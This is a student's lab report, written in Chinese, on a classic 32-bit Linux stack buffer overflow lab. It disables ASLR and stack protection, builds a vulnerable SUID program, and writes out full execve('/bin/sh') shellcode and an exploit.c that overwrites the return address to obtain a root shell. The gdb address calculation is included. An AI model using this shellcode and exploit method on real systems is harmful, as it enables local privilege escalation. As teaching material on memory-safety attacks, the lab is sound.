20191330雷清逸 缓冲区溢出漏洞实验
一、仔细阅读实验简介
通过阅读实验简介可知：
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
该实验需要我们有一定的 C 语言基础，会进制转换以及计算，基本掌握vim 基本使用和基本 linux 命令。
二、实验准备
使用实验楼提供的64位Ubuntu linux，用以下命令安装软件包。
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
安装结果如图：
三、具体实验过程
- 1.在缓冲区溢出实验中，猜测准确的内存地址是缓冲区溢出攻击的关键，首先我们需要输入命令关闭使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址这一功能，具体命令如下：
sudo sysctl -w kernel.randomize_va_space=0
截图如下：
- 2.输入如下命令保持root权限：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
实验截图如下：
- 3.输入命令进入32位linux环境，并使用bash，相关命令如下：
linux32
/bin/bash
实验截图如下：
- 4.一般来说，缓冲区溢出会造成程序崩溃，溢出的数据会覆盖返回地址，如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
本次实验所使用的汇编代码如下：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
它所对应的代码内容为：
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
- 5.漏洞程序的编写
（1）新建一个stack.c
cd /tmp
vim stack.c
（2）进入vim后，首先输入：set paste，防止代码复制缩进混乱，而后在stack.c中输入如下代码：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
实验截图如下：
（3）编译该程序
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
- 6.攻击程序的编写
目的：攻击刚才的漏洞程序，并通过攻击获得 root 权限。
（1）新建一个exploitc.c文件
代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
（2）现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
代码如下：
gdb stack
disass main
实验截图如下：
（3）设置断点
esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。
输入如下命令：
# 设置断点
b *0x080484ee
r
i r $esp
实验截图如下：
最后获得的这个 0xffffd4c0 就是 str 的地址。
而后按q键，再按y键即可退出调试。
（4）计算地址
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd4c0 + 0x64 = 0xffffd524
截图如下：
（5）修改exploit.c
现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x24\xd5\xff\xff，注意顺序是反的。
实验截图如下：
（6）编译该程序
代码如下：
gcc -m32 -o exploit exploit.c
- 7.攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
代码如下：
./exploit
./stack
而后输入命令：whoami，查询是否攻击成功。
实验截图如下：
可见，通过攻击，获得了root 权限！
如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。
四、课后练习
- √
- 打开系统的地址空间随机化机制后，攻击无法生效
实验截图如下：
3.将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
测试结果如下：
/bin/sh 和 /bin/dash 均能攻击成功
/bin/bash 无法攻击成功
实验截图如下：
